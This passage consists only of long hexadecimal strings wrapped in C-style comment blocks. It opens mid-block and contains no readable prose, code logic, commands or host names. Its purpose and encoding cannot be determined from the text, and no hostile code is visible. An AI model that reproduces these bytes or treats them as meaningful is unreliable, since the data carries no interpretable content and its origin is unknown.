fe3c79da09538847152fc8ff81e5304c60808fc502c14a874b4598b1efe433006d13284bbae2c3a719af1f66b058193d591e265b3ed96fc16771a2291e67277feef167c3359c96e57a992f72e256f80fbc2aee976b2828e130de8ea65530ec42b47273fc3973d622550e13aa8bd39c6eaf6c83a7adb7d1afa3447d1a007eb0475aea0b5f442a47ffc291c300a8d58152b3436430c34e9753d130d1378864c12076eeee844433a976b9958d59bde2d9bbdcb5a7c5ca7e07f07ef68e6ad55be4cc0db4e46059905db9ce71b37d4559f9ca6f1d0d4858bb72e3844c54f36ade18a0b0ab41d9aea37083714aaa7a2d1df8416e2edb61eb1ea2eb826b5407ae6ad5b0e472d145857f207489fa51e9bda83e1c3d5a4d5076e09beae6e15da21ad54fe07f954862de2fce5a0e552e4b7615cc741e43f30c98e3dc2a0c396bbc781f8c7ae7b71581752937fbcfa3771031daae790b0baa1e2733bdcee2d4c43bf186fcd60530c2f2c27c9767d253756d214118e6d5b6868b1987c65d8fa94a07f826c161796052a8ac1f7524379c5ac56ada42ba491a6a3ea7df37854117e39dc68ac66606c05b14f52c0351728fb2a8b71047a8f900774c0aecbaa36728574643e85f17c4303a04ecf0e167f37aadf90e96ee496a97aa7fcc19811a609ef0842cab2643e6dfb25b6cfd11cbfd4f89c05589cb9e0037bcdfb93d66662d6be793cc4e877f365a6714941851e64aadeb6efa19515363520083b3206ad26052e320ffef3f30e79bc60a88628b1903eb5b2507fba3a22e95db9baaadfa4db0d935e5a9d3c846c2355860b1216f02ea05bee57f2c450da3c3751bffd0730f231e6528f0d8cd27aa719bf960aad7a34d3c7dbc3ed1624c31c1eae2a2a423b700de53572cb91dc5aa2ef8c516a2f4de9c386d86a10da63ae978bb461c3c655b18a800591f8f2f58ec599b407e855f19afd3bfabefee9d9e50ba3467d20df2c0f20f2a648f894a53d922386061bb89c9724403657ee185bbc6b4b1b038d21f6fbe5f1da9b002262bf67393e977a000187066f053ed9b3904542a01e0b94e791e7f2ca24a2ab8099a5a2ac1279e64e7151aba8031ee45c746aa1fda9a22385943febff9e780cc57d9be25a5d3243643350deb270863f64600e25d08668ec7a86a3485c5db26d19ff4f9fa2e4abee8ab87835ef340867abd45e210b6bf134177d555ca84e6c674953f16a0f2651feb3f9ae0ea3261829d5a0ff6440161b6cd2d3cf3c7a702403c6944e1d6679405240d95d2311c1dddc634d9440c9f47df0e343370afd252d87caeaabd74f80a84*/
/*a50dfd3dc60746ba84a24aa795da041d7fc5d2788ee14af544ac85a1060a6e3d3989848ecf0988b7f436cf3b00898070034ae325affd839cdbc4e02e18e93543333eb1cab43caa020aaf433723bf7a85ff48cd77e4f0c537f45843484a5d87b206500d6b3388fa44f9cbc590b4c28dbbf9285b78d6320e4de11d248f3c91cbc255bec44ffe7b7114c4f8e7e4dcba90aac2b45f2ca34f881bb53e14aca2fad54e25e3dfd1f9182f6e727b39e34a7a1be26df2197e44f33bf138c2391ff7e097fb0f5f24b6f79d6dfe8ae534488d1a4105b166d13576c71b449d740d0be7083b59895cb2f722e4a0b503c99163557d8fc05fc5568e5c0a8e926ec37e10f1c83891da8bc4a886b21ab7fd044a3a905f130658fd096393631e7c03d168dc5eac6fd4e1638a1eb249cd7cfdb58d938122387c8bc868f306d68f8304c984830b839a3bbc54668f16b76878d1d5da17762611325bfeaa90b460370d9618b20b61e3f471830699e2b32f1273a447a9c639981652bdbb57fbf790de1a9b579437c9668aa350e4c8ad03ec2f78588dfb437334ea0202b7f9304e4a507bf4df85a24d1345d79ee3dfbc0953368d393d323d901623d69f9b8a2f86f28e523053ef6dea24606f03ae3e7be235b868967e2b663622b8d92d7c42c1232d92a624572488f89737271a283985c74285b6d7814ed11aca33fbb15401a088cb266e7c9bb179ace21661e848e93bd034f26dce36eb5b998eb0bb31bc962eb02e1dad2e681e758a2c955d3b770946be3bfb390e84ed2bc61ba9f41d9dab87ccbdf0234d431b891bd5c691bc333bc373bc85b03a220d453b680a69562f4066d74f345878772cb4aade88babca4ef87a89b41ae195fed67f2d477ed4a1da983e26b7db8eea0ce2a7bc8217923cbb0fa0bd836038c17e85b695e651ae77b7b2047a727b983ff0acc53576e43c8df308d70da8af253b855930ac4c216d628e07a5899f104d68ba9f2616360464efbd1628f1b8f09d135895b26ac20c0d359f4f37f36e3348d13602eec92666fb9c6369ba45446ad234ec2245750f5a3d598c444e7e2819063c9dc6604b2adfa305025a144df5fd09143b687fdd391e61567e898e265868163349593cbb71a875c6279b8d0e2451f3c562f13cf42e0ec210507baf1034b9311340de70444d685d4341ae44b79c7c494ba77121510a6cb5c4cd1f05d06287de01469e3848a15a339eb3a7098fbe9ccc0324565d7733616454e2ad37d7f8efeb4d81bc64709b8b8baeb99e3aec26d410496ab7e22faedbbc1a4e274f86a0a2bc5b3353041d2cbecc7a9e366637d0db10c82d52da2dfec353ddfe7180a77f54fa0bb5d2a4d4185ce7cde476786e6927a4477e30c36d1e1de2e39e298fa52b7c5b592c15b51f4e9102f89b7584ef061ae5b8275dc6c00cd87db113bb86c56a36a2b2efb8d3b40e863804d85c6afae3d1ce390e1817570d4fd36d1f2137fe2d3a6ea6dc61f34197821621cc50b5787c655123d2b272d48b4e6eee429e5e0db94a67929d89ca89386cb636654aa0394418e04bda19178e40ce7704d3401dacdd69fbb365ef8134b6d277923ff10f489d876a960ef5d3166b2b113ab83904828377df75635a3117ac21edeb9ac1250887abeabe1ccb1f469b2b2ef477db1ec88c8ff813b6777aef55da604854b267267800c5e62cd72ef77351558afd525da3c6746f5f80595e306e3f4c07550ad66d7e44b7343a8d077e1daa46955338fe244dcd49e0d4d68cb155a632261bf76161fc2fbc047bbbe0e953810b11f4bfa944f2a66fdc9012b0d0caa6e3c7234ed3e05e99f3e80942fe3ed3ce8c453d1fc476bceba6ab0c71ba83055c63318a5a3725a12806bdf6499c14dc4ecb2971f96a8be6d86f7990679dd190bbc1ff2fbd5d37c81ed324600e608a86d0030619c0590e651b235b80d3365b631bc4157b2129699101420862898db56234ac761833ec3db2066271c0e02d760ad9f894a2f14c2256179d168d469b7dd05ceffe226f5a76adda54a4ff4e6eb88f68e4e2bf62a2cccb0fc7c1c0b2738bf93a39a45acd3c6ed194e3bbc88ba84bcd65163470ea9b8d08718b970d0184c1abb240c85e805d7d42923fad27d8500ba03f25cb360685bae818dd04affea4f507c64b5f33b8e753ff8619d2ccf47f1edd1c1a4aeb10f9e084c95a4fe9277ef7563c94c519ccfe3ba978149675d5780126ab2b87a98bf912e4c1ac99aad670fc1cd05e833d1e7d431c3e3c2c2d613f778b5326aafe7380a2d2bf92a298ee7c7c4db648ace0ef9930172abe1ee5b9301502bf62ebcc67b8cb22de2ec28277d8cf1c528c81764ad574ffb2fe222e01a4a767811652e29148805006b9681853694360158a0b1d559760e0310678a1a1ce02a88ce9be3a34f3cf416da705dd1bcd954e5c8d8a03034c4a54d33069e5bc7846d6420a30076ace20dea081589dca920c2856b8c2b5f888baa497bf3cd58b3bd13a4d8f5c4c6f1df3ab852415dcafe17b056dda10a8a5f1d9dc353b0b6a8ac94cde012560f552f67cb4b9ba1e323d1b125dc769a4fa7889752cb9d9942ce96b211dbfa226ef02c97fd40726bda41c8b5ae0e713447a3345504684a23741f30eb5dc99421e079fa9d505ada4ae08587378dab54ed394cb65620b8c2608ef5071bac623d794528d31248e423af41c5fa70c523c3de20de8874015fbe12fb3504bc9131b87123e41307788e60897f9ef87402a8afa6591b2233aaccd42f5b862d7ce02f259e5394ade86b9288f3a8c1f6fb0383667959ac0ebb8cb6619721a220b9a7698f1ecf834766a613c053565dfd9bd37ef3*/
/*162906485ac4b200c62d03cffb6e66ccfaa7277f49fbf79ec0df1c71e0b97681d6457196414243043f740b1b1ed318e4749a604f7eef64129e43e1b2681f1dbe6a8021d7c313efa19d76151a2f4b4e6b0563328a5ba3cb1e4906c4c08188ab5d33fb146316af1d1b084852278a05bd7d01a6e108f311f87afefe4217903c473bd93441c25994365bb72779f92f26642a52549268a93088647cdca3319b83b1b6255765520b05dc24bce2ed5da8028c49ff51587cd974d81bf5f282360283967bfdf1c866dd3f25a2bfc66fff52db6fa8e08f5dd78453a0dba424d5016be32e40034efc5c28cd0a0df9f229d062acd56cd6865f860cb72c151c802223a20fcf6b24a043fbf24bd974a4a42b8ac4327a433e4a2d6057527fbcfab3b767bacdca2970aabde8b5872eb829c06acaea82cc3a786af09564b809cc3abc5f3ab7b9ad84457b91649c9dc6ada592104a5d86f703a68d8c9e0e14434c4e095bc86b4ff9bc3cefc5b20fec98a247d86e52acfe20bbf8c900c32698de34ff6a1044baaa5df327990cf5469c3752778c811deb008ce97fc9c05ed2f567acfd968751698ac0070f4ca0896c3e6e28c8a297dfee6d8ca61b75bd1d44978315a2922fb3182af17d5530e99bc693311e46e3a6e2bb4b681dfab118fc45f1c38b7772a15313a18c8615160637ff66f3a9131d6da7e382269114ae6f0ec831719c33c040a9ad708329e2d78c761ebc28c1d323492cfcfcdfaec910713ca1f5fe4184f94c279f794d871a3fe0e34ad35c160f5b5342798bb671bf35f701a71295a8fee08ed67ada48cfd4a1e005ddb915e54a66f602a08c3728d23b872662a3eb58e9fcc863993f7eda059b60a3f1e209b758babdd83e02156f101a410505becbdaa88eb5efb3e8894ffb65db0b86fdabc28c057b0ab02c36cc439c47449bb6ac1b90e7ecd8bd5d95896aa88f21ffb99fdfcffe196bed6fdd91eb9809766ef822073670c49aa141e4aeebc16bb57e3d3101b9eb5b6b78ede25929976b608cf51a95d08ed662ce42a7adbd25bfa3d827412f60f42aa587277cdcb6291efa5888377aa41ce323d4ceb330001af07c3d1486abb2786c7b9f531390c12c9c996dfe602a7085d0d4fda93853cee7575cb708e4183a6d575ce0b586046e57732708836f9829f0e84612ef373320026c0ccbe0ad7170d8190c8d9480fca79b39e131749d5d58f8c7b53bca956bc6346fee329db402c4b513ee7a340c94e1b166a04e34a48367a3676fc3810c5de9cd5a54bc1a0acdbb4afe8363ee6096e8da8cf5d0f97c0685cd224ee84c55b7281d9048ef1a85f2ff86527eff872bce92fdf1c127b554c6fa4f9c0f89ea187f7a0f82080e25705c16703dc5b2db2b5895a92090f4c1e0027bbf40833a61a78a4061b146e0e74612cc188031ebff574ecefd02e8b3f795763ee3a7259dae8eed3310e31a7486437ef47bcc35e3baebf882cc473a20b387cbcf7d38bf70a06dec5a2f26f399cd9707eec6a93d032ef5d4fb195a30848b0469079453f6777796670b2bbb3d8fda629c8d0aed07380e065549bc252a23100827510dd651ac92062baf799b90137d069d93a0996f40821e8b2424d0d033fb7909c5e7eb2b70f2173d7e4505381bd0fddbb2f2e58d9f257af5e6b26ea467aa0228552c2848192a1cd212eb5b3d166e903734373d9d6e2f4c02a2e6c47a50f2db7bb7a295f7b11418fab6321d0b59b11405da1aeae80b4be498bd027a0a784a981864c45db11f5bee4f67eb3649ae106113d75a1f44a7495eb6909c4632cb37b3df612ada5197bd458ebcafad025ec036a85a4e4eee7e4f34cea0440e5a638e882f28a2aa413e6e34348843af21ab7cd968ab1a312eb84ce09a796d1732b7a0c50f516b454cdc033175a9d18f1f2657b113f66dc17ecc13b5387c9e68be21ca96c3d1bf470c73179a3a4f2442d54bbbdffe1fb619e9fc3e9a85c4326b85b58e68725508cfb1f2d9fb8ad5f1b2cb810b82dfef96e40b8fab1c2ecb9e557ea947d0d5526e74cfc0e78196cf01e9c5e05f6f3f65a72f2b6501dc1de7b3507795e138382afd95a796c84e7d2c07ac3965876efa463e937d2a5060819342cd9d101a9c10ade9af84c1983981acc3117c04bf269dd687afcd24e0f2f9e4fd80939e6485dc06681e711dda588f9757dac2d958f74cc38f9332d3dfbc217a57dc643ca89f8b866223e3640c51d9ea5c7efd4d023a07fb2f1b6b7f58cefca6a8e5fc4ae87254ffb2828b262998b62068a40bfd925a1453bbd519ff9a2ce301c817450511760cdf1ad1ebba942c7ec04c733e51add9cb5f6845f5f1c19fc9ad5e00cfebc422e13965db439e4c0cd06bb318718fc03366074614644880980177217cb36536077d5a8852042f4ad6d9c7599e48f57ac69e690a9c4b9b38a112c75f39c65a1cde745fd1912b4516b8a09d4d3534f4499ccf3e594d5f53d0f9cf14bdd1a6af1ed94c0076ba568a73c3764c7b86403bd90e3d3df1da68a68b856c2f86fee8710c88ca0ea231df9983622f70b3ea8a0ef5a671cbcfab356ab1fd02012b7fc2676a3227ef8ee2787087b4b770ba0b75ea8ee9fc8a2390ba293a582dafd6cf90d0afbffbb6e077ab5e03c2a34372b5e953aa752f15cc530c26e95e0c4fb1ea6487d05cf6402fcc974f07586aad4520fa8320dcdb59467d500998f71648a62b2bbf81a9b7d13b5afd1dc0c1e574e9c3ec3fea5a17256537c4c6f788f8160d389a6833f9399fc1bd823d8b97e39e2ed7116f92edb68840a0357eab11fe9e3fbfbe8e55628e3dae4338ea9e2a948c789d36aa3f82fdc261cb2623b3c426*/
/*b0c3c555ef566358cb7842aa6f05950f31307904d1fc0d0a46d0e86b893ac81ed36d5219792352f2d85eb1e1aa97b99203665a7b8300ae8b014bc2f0badd19322f8007a46083cda43d17890f5585cacdeee345326c9f6945b9d2a7e8549943c0500be76f4edf0c616e1d94058888069abdd100129473f0a0f0cafc98f2cb3671ce8a0a910cbfd78da28b1798aff0dfaee74594a155677cac8b56feb0de937a4521f36bc98557eca265c16e2da7f9c880404cd2ac71e8519cfa807c6253567f72e027352f85464568cb7893569b5cf93b05f7e859e1eefc5b49ed534f17ac0ccd4445d3d043fd19c7b2c8376a493e8d43f3c5ebcc0655b71f2c694ee49290c0f96d4d81b7611742c8391b52b0bc2cd5cb49a10732d67dc1da4bc984fcd2d9dafd80ff86b45c376de492ab03b8e4d972638ae65d37dd289cdef52a34a8674ff50a76a3fb5ffe050e7dcc2e89bd41b86c075e550ff89ee7291481ae4389c7d0a23b21de66516d0b7e993892c577b86bf40244e67d55de7986ee9d8d1e0d0d1605a7707b0dbdb516c3b80472a2cb251da96be3e2ba5d9e85b8b2355ec3cca319b002c4d549d78b6c62f6d5823cf32ed77cfbfddfd7ecd868165b7153fe17ebc6149a9f9f64175d5d9b5a32fc184e63b8e52019ffb4779592d20b3f14e29d23bab6d0bcac102ba1993e13abdf072eecfdb2da0adfac2843b85371ae747fc1788f64a6b2a7c9c9029d481537babe83da09ef589dd995ebfb7fb84722ae28341899bf12625e9bdabe1d3f6aa7c95f0b1e716a52e3fe0353ff28b0002b3cc423d3a86d2c211aa9c01c24d4df6e4f10a3703c54946f43bb2ec34f082677b83a9da3ee9a55adfb13142ef858e6ff655e985e869a1fb077f80d2411b285f270f89fe5caede5724eb20c308b1b3c5779663583347661c4bd2f680312e64b5bfc3c49b917761b51b5ed9cd0d0b085ee7c9c45d15e0a492c4579613658ebbb2b54e7ef2616df6b862a4a0aa32509f35932d8b1e81993f5dbefb8129f364ab709784adf1c5d38d8bd8ceea45afdc10490282d9f091a900705185ba87cb857c36cdf8fdd66800625e9a33f68b30768ff5dc906a48525d9c3bd76f23c7cc5aa832fb30c40fa8a7050d5a36ede7859d27b3f173333a485c52db35a0eb0c2307a49d12ee552b921cf7045b01b07a3937412c0e50f2958f9bb9920e8c9152a5af4b3f13c0c27ef40fbb9d29e22fd73bbeb74c952b4b4e09109ecb1710e6b0ab8a03a341a02d054eb5699484b4e8ab5167bf2e7419ec993ee9248087d11f07821f84506cbe99131dd8e0af48992100495771e2d3ad691d6bb02e8547df54e3e9017abc0cfcb6ef22174768f0e1d0f182231f7b1f008e00a7485066cc40e0860b96e451703fbfd45e656a37b7e6716b6c058669d35dc16fd8c61df9f93150ae3c1b89f2358d3e1e36a72a0bb2e732d90a458d12cdefe18bba2d86c916929fc970063e09e695af7857c4d8b0ec12dc597794fc72f993cf18d48625b66f2fa35a74612fc4361991399ec47e3a79fede0977924a918bb604176d10d80319faaa7f13786bec0a3115a621b2ab0b83fa3c2f2323673c410b5f41de385c8c062da4b3c1d5598d28a56822ef9d89928a3553f95454cab13649b3e546b0300eb8b77246ac362643dfd5a1bd12c95814e143651104cc847f13eddcc3d77941632f01e171200f6e8cc4290b71d74ff5442b48ef22c808d70cec29bcb9abcaeb5fb7f8a45a6525ae478d4c555266ad03cd788f56b97e934c833a9ba66978b1b40a7b7c8eeaf3a11d286bd4f14c78592e7d3fa7487451811eecb402b5a8dfa32bcfc0a80bae4d89651c6fd81f834b14020f832be33d3f3b21cd6242ef3d432456f95ce302fa70aaac5663cfd0d5c66b1c94a3a45e8e5c3d0f2b3d1cce76bad7a4d37d31acd7820cd9ba2e83b123bce66566a8a42855d0ba19f0f161caa461da970a1e007cb784b75d10616056fe600fb627b288d782c436f25c33657047e486ac7b124ea7824fead5ad41ec44604055d4966b192da7bd364e895e4378b8ac727329ced354936f9189d1dbf6cabd65f5e3e658c9de3cef607a9bdacb64a20e71509ef81759bc67bca2f5c79f437d313628bfcc16a06a53d1bb05ed5672bf1eed673bc1375d92fa401caabcd7023049dcb89945ae32efd1fda6d30c62adc432d9b7b37e59ca6e63843f54a065e93319d7e60890ebfb6218297a1e8e126e3fdd7df027ad506e92f5c51d374dd7bdce579d9500efaa472e9526d23d00d84874a074f9642f5b8db2b5289a64a712c7af0528421be3113dcabc5ba110876503313db560930231dfc18e146aa0b94769393c649ee2d0964b2824f48cc7fe05111e6d3e9cac5f8528716c58543ceb9737775ebfbdbacceb2a0cafafc507a9971f24095b05ca8e460114e2a4a635f10dee1917c0dd7a6d13ba962334568f34d87683511f70cead0bf8c2cfa04aefa6ee5042bfa5b0aae97b8cab188b1870e1080f8fc4f6b635cec797813ad4c0efdb6721b38247a47bb8b909bf31c78bd118e7801952a2671dda1c2bf5014dce18104f33a1708e88b3df0a27f76e8c6bb36e5c9e98b30f201e1f809b4cc3258f11d221c66ff825eb550d52e5a89754cfc1412405ac63d76ec243f7cb04a048404109a61775d866bf3483d493007d79916b80ebcf5988844087443f07b0b24c45e2a2fd480a66c166ae180de7e7937e19ec7494dc9c34c911b05e900d039f74f4a2d0075a4f3706e660b9cc4c64c080732c328e746404f901cf2ab055b8b3ebe332fb375d38846a5b2d073df503da077ba496c5d3ae8488a95*/
/*9f5366dbce5d285ed472d8dbd0d93354f309334e6f4a1888acbe991456872bc20fb828782dc68a96788a7b5c882674d28935009d06b28bbabf093c57a6ff56e8546a98c6ee0a612d7b31020d67e940f3d9f5fe074a7347eb4ab0378cd562840ef1da14275cb65ab50dab5d560c2918a38ed8cc0ba73bf22f79fa6d301cb00bf796a63bdf796c3d64315162f216da882f0312a301a85a25a9652993c147b0b5b371e461245c0da27f52f6c88e039afd3c91fa284d7e7abe56ef98cd7806792e6f8ecdc8fd9d6749af9f683e0ff6f841b816b8736223f78ff7517b469e8a2e80010d85e3a9adbc1c8a6ed6443e50cacffb4e2162fd9019304aeb86648f2a8f464d735e063d7d95a30a60c509c95b466c9c743da9bdcf9674a69d7a730eb7d4c876e2d13399dfab1c929a9e8beb7021183b2ebb6dc929e44e5e54a2d151a9eb65422af09c90a78dfa02e1d00aecd48a2765a6178b730d8a2de24bab1f60524013b3910225cd259544335eb91d3541b0bf9b69ccc199b432b43ec9a60cf93a9af2e92da1dfa757cae5210f46559351711018772b649f03b796c10ae8d7c3d3211f2f5a3e331a9b4557b236e65e0f3bcceeb2bd43c9d928ca8c3fb424a88aa3a6dcd0c738c198c4c23e277b0fab31c0ee95d67cf9370589efc4eb000c588de2324aa512dc0461ec96289ac81006970042a6738b097bc386fa70d95ee710caa66d346ec87137407eb03aa493da1907c49dfac93c80d5c2726bef5c4bfc99dcae4da0d5e6e600fbacb936df4060d365c227d48f27a7f92b63cf63437ea20b87d5206747bdae54a634f1b48d40f01f0e36b88fb53f914048d9b52fdfc5d32925225290c8e7ab0589a731537bbd0260dfc5eb74f0921bb7d243245cf199491afb73eda8c24e2c1b199255e60c4d9426284efa771341a71e7af0dc97894f47b3e25280bb7ee8209e5a04f5dfd2ed99f6d33f4854463c792ac44d9126fb3dc152cec1439b13ac65b9ddd8d43ab316b0a170762cefb6a1c49124908afef6e335b26b802a87693843f8b4ef718af019161b7e6d0e1d72b62209600c8138e04736218697c91884299ae9b3956a408da72b5ecd0f94cb08e0a8203a5c74d814699990b8aa2b1bdb94e76841e47f3c073f5e052e3a83ed782fe22901dd0733287c0ceb4b232d0eabb1a3f7f8941b1f46a8847e7c07135b6e9e347774b526c07a0708f3d3abe8abc4a287d87727857aebc552f04e47ec5c1f66896ff6dc29d401828ff7761a22f5cd7e7cb0b446d1ef796f656439299f4b27f715d9bcda3099af25a1c6e0a49b3f8aac9c8e370d5d82cf7f02b221d7a4feca5bd50a3440602019b3c0948473976549cf46652d5425ade58effeb28e46ce3038d3bff8b6b797fae8ead5ab9f36b0d6fdd668064784971bfe4708337832d256eb4068102b9d3126a4a3b3177a7ba3bd72dd90b9b009566efe0e77a8b2d8758912a069cad51209ee296193501a34f53b91fb9d6acfa89e020f193e01ad65d915b472fc73c01eca2f6b73818f0093957e6a0d8faaedfcae608c6007eb38e874258bacad4db16f8a6c1d6d10c6044e674fd8a3f5d0de0d51cc1d40e95046160f2bb2478a0cf6d592c4b5c574d7ea94f690430e7877e9ba1c7098f034673b540b721cddff3824971367f6e43bff88baa8a5cb493ede3373297bac74cbe551b0186ca285579d27fae9a6cdc0bca985415efb023fb58e438c6dca2355855d52d2cd3c67388908e313ccb4c63c7211ed91a3d25b948467122af680e5bd3d5921a0003e2c073bec8173b5ec8557304fe7a5f88127b7783615f8aff05260147be17d6c547beba5861769b5f92921b8f60bd451dd389075f9eb68bd0497b4ad04ec73b9d905cb69246c53ea20f7f9544bfa85ef6284373a44f479d107dd1e17325fe2788b3dd923fe1be37166a0d1452ff8b1788c0c6a9a6997635d2f0e507b4f97bbc803467b4bc441fdb137e656d3f139e0eb7af101a49f580b50290db46688f6ba20eea4fb97649e62be6b67f3f841622c1a45e1358621e7f05c6b66e683244246ab985338cc368938c76d72a08557a38eeec4ac8142d597b782a81baae066f2c9908bd432d72c5e0f9fb88b674f62e4026db509e921302dcfbc810262dca0bad2853f5b0ed4b67ac044ae47eb54669d3821d9cc78db95acf6d44dc8c7562865828b2df568047f4b62e1dcd332bffd2041a28d96c2cc60ae75817b904d3352e6588df2c6a5ac3388e62748e55bf56f3d9dbb9b9d976bd1a263e15703274c5bb07d79d9bfa65fd21991c6c04bb99dc1f29416971421f7eca16c09573dd8c5274f5dfa6c6192a2c05337a71b6cf07265d854faee50d02a732ebf9be97d03a1a351b80f2d7d7865363a9f90641b3c8408a6d3d18e0369d002cf16a68a5fd338e28470836f8814b2a37ae6f2a679a6db976b6491fdb0dff7cda9c0bd0201db861d5e22111372212397f0f89e8da4e0bb42a6818fe0211f49eb35377816a194541c5c033f80fc99343f3569ecf3ac95e9104f3757b40b5d049382e5c3256ffec7f984c31d20cf9579704d41dcb92c4d58cc5eeecc7974d70ba4b333a89e129272c69b154eb24487d0efb71ca2bec3f61f3742f2b00091278d44402c186b7bb4ab31f85723dee07fd786380885461cf34419d51fc6cd324429945b8729b377215179c8dabdc3e2f234801faec35d3d2e478815fbf5168647b1462f24aa639ea4175ff83185bd3f9dfe70d49632e956198eeea6642dc4a73ce7898a97c0caa91ad2b6b386b6efc5bf3838d7a4012d16c9c5cc5176fe7bc853d6a30eaa0fd98097e0e41301eb7bd*/
/*38cdfa337446d27e677c8ffbf3d1079b148389392ceefebd2dc99f0cef8d68c04cb3e8fdb3f045c60be0d7d3644aebe07c070b6bd5bef199930a44eb4eab2c6b67186c67b32cf2299ae20130948704a10cfa99451cb8695ce8830d56c814330b38c2e82cb621382164a383e9c00149921a4a761b9f495d921b021c617acfa9b8f514092b0225eb4026ceec352a984cd3fe32f06c1ce10f9646ae22c0bca5b872fd2fe080c83ce08895c8af70144c146f01f61f574ff862ddef0d199b818785cfcf59a6cfdb8f6945656af5dd555718df6ec82f8bcde542a62a058dbad00913b8342a842b1b1088853a7dc914a8602a1750c182178f184d4ff16fee8881de00824f6c9b5894d415f1f58becfff54528d368e59863fd07ea81dab7b81651743bc7c229e23497479fdba35e9f10b163e5995e4a196415d445893f83c37c63954eb7d7000149ffba31be33b8ffb367235ac7d659263e6c6f6f70386389048296156c7a2f23e582b209ddd830181399f6f85f8a7ef1b738217ad15e7ff7fc5235c684d75859e24adaee41c746a3e18054516bf03e0f43c04c9dcc4e75f4507b2d8f7024b76ace053a17b0c47437b992b02d7b7fae50ae72903f012f45d3e372a4e080a3d5589d3144f88e9ed2712dd2c7ece6c667c18687a64b08c3740baf0260c3dd5bcff6474a43bea130eb68eb69988e3247dddb581ff02f988067a2374f9541d73335ee6d5d8f4991c77124adbc205871f91a8dec5bb7eb9c0a17691200de71aa005ca18cf51acba9dce6041634976f08b870f0cc9d02214db1782a9a8dff03de273480ee07da10bab1ba5ea84640158dee674847823411632cc1588fc39053e2ddde358e6a473cd77b6252d5de00f6e3e81c13850f87c17a491f16ee7050f66923e48c35d846c6c0acb0eec8ac934faaca3a04976ac26a5711e3fe2f762cb896bc86c1c3a6720190c0a88dd2a4facd4ad76f25fc953892fc6d99b46beb4ecb72813b4a205c63a388f00216e3c3aa59aaad96535ac2449207f268419cacba42759ceb741f07a4067fae7e80f113351444c0d75dd5512d65ec0da24b1d9bd60c5fde91b0ed2643f5c960a47bab8d10153a2e04263e5d5026c9b47f706685241d4767a3646e42818e11af31968315a0ca11926b985a11f61819172d93fbd950c4c91cd03bf263657f9621f49097c88d24ac51102243b417600e1dbf2a39e8627e1989dd33784da6e2bf71d8ded131e4a49eaff24ce20be16fad35a2096794472ddd2e84f57e211d4242da01eb9b7ca87b4ded43a2c81f4b3db189473123449e4b48ba6fe9ef080550477c25bb34399c707eef999f644910b21bc3650d9a93e93de4cdd23fa24b7701fb20f2eba7c8b01798b886c8994cf47d27b03db46bdf3eff34c5ff3941de4f4608745296cbee37e778c4af9fc3f02a1cc3c1d6b38665b665a742fb05fa85dbe017cef88bc549c66c75f9c23a8de01e7f1e1001ed1271c447a270aa40fad98c0c6866d5bedf6387e05e4ec5b4cf1afdd91d7ada26d98c61109bbddc30a5ee7ab8a059cc5c74f73e87e1af32810ff29374b5313ab4074394dbed4b267714c07cdd9278d761e8001ce362ad32a60d46a62437b57c66556f8386110b90242d52040230f221cba972e5ce3262b8925767bff81fafb99a7b04db0e8557d823e413f6f94969f9fbf12d7e9919c475d99fc25b0ff0db1fb7d99393fc3b23e3aaf60148df06e726c1fa2430688c12cad8a7714627439168be20c754c35f2811a98dd03953dcf03bc2b6bed5cefb19d381731bc2d3bdc2a92115124aacc5776e8cb08798b5344b56baeb21162a113c5e8aa485a8ea1b86964114339f6106bfd93a7526400b0ff5e016a1c9fd3da4e95c14f6bca052e175b6d093f6bef81019d16cc6cabbd1fc28dbf547a0b58716b8b253191e70d3a70aa65e7166853336f302c88ac34dc7208db22a0c0c685b8eac5c357814d34807b2c3ec7551d5687a3a2c1ae765962251ab683c3a29296c0957459e69de77e82b8837090143ef9890a60a982274bc68b81344a5469849a97b0a9a4b8349127071651e6ea78bc704465850789f037efd95706d02d6bd01e55bf2a976711eb6cf92b3ed1621b2a8b9e4a7d3f20fdb1cc547306262c1a341a19db2ca01f301c4fa7b3569e296f667e0ed5622b1602dc0b0081241d7e8d3adcf6ee4ea808548a20bc5970e1e114f74e186b43040b2dc91e12d571b912bee5c46bc8175294ae7cc991147d09f637dcbadf8dfdefa9835d2912207a3c0d9ab6f67d8be62eb6e68bd74c27cb709643ef7804c66c0d7f83a099f70dda6c4dd1373848a3fa00a0747f301af678a4d625eddd2e83659b886ce608ad8b333d5e8c8eff79622cd5696c35e1e192a47c0d7f18e7cf76b23f5087424b0490781b78554a31e11032bc048c16fed5c102db26a624840ef7a358af74896987ab27bbed297f1f6ea8099d2167aacf5a589a86c465808cdfb4f68f8e15aaf0e8ee30658ed5aa1a29f7df86a65204557cace45e858c03928d49b0edea0ca37a5d2cea9909e66b220c944c30a995e420ef8d890278721b746e96fcd2b31bfc53f99ac52a94b6f94649b3b986c67ec63461cbecab2e9fc22967d1b618a9aa1f2ca7e36eebe840f50aa0e4f74bc774c529e5c724d2024dd555a3e102c9b9b83cc2b16f48e5e6785cbfa72bf85ecaf2ac77864ac87a55be56c07582e8b35c0820bb11c5dd1f85031b35204dfc2384062433f45da4a3e16ddc1203e29beeab818ffe4ac222236df724949d232474f13b57bbb6cee9e94af77dc1594cb41fed41b84188844ad822ec7b470a2*/
/*a56d3a9cf5966ac55c1d666bb1335b38a34b592a086b0e99820e247598290106351171a2a9615b0590474bb7b0e4c1674287e79ae03d076f8e4f5335ec928c7976fe596b136ad0ad8f8fed912b908af8be33aecd7fecc2beb628f8ef0975f9221cfc01d6f2f66002f252af1148c60de6aca24a4af76c5421288e12d01e45181a0fdff6417e4bc3e53a851bb1e0b365b7b1dbc37638ce40ce3522fe19979dbb85b13718fcd51144be4eb139363e5c11d5679270ad32a468fdb3e36abadb4b0d4888703c120f37aa2a3d76f50c5cc01cec477b1b65231ca9cda840a1115a51cab266d6b1441dbf9722842e511d717d1113992fc8dc9b931c61d39ad2029b0e3ac17cec9c8da2a46b4f796b8ae8e85ba179cc008b35991fc00e7351bd9e33a59fae312e39b00833a059721ab381548f70d8449c75521f1f385e3c26c64e98de8fa78e402cfa5659baececc407d71764e62db7271de5b65a74da4ac22de7d83c9ad73065536b822542fdeacf58143be9b2e013f361b1b1ddb5329713bd11885b93ca15630235435667457fb1a0997827b9a996a5df8b8ce27a89f5c3d23b5eef11ea3208489a6488dc8d37244cd310b3c9c324acfa9cb6920bed63c77714979f2e70da2fad6ebb4bda16926e86c3351b820798bd76a18a99c608732dc86d7cba108d8ad025ebccbf4d1ff1aebeeb59fd1415cd18c03d314b98ea61b06ed2fa07ff5a073ba3dcbf4ecde17692d1eae075da01b0691f7a367ade21eb5088b4dfc147de581ace4cbaa9f642dc99ae29712c9342b77d14ea87d3b8271255c7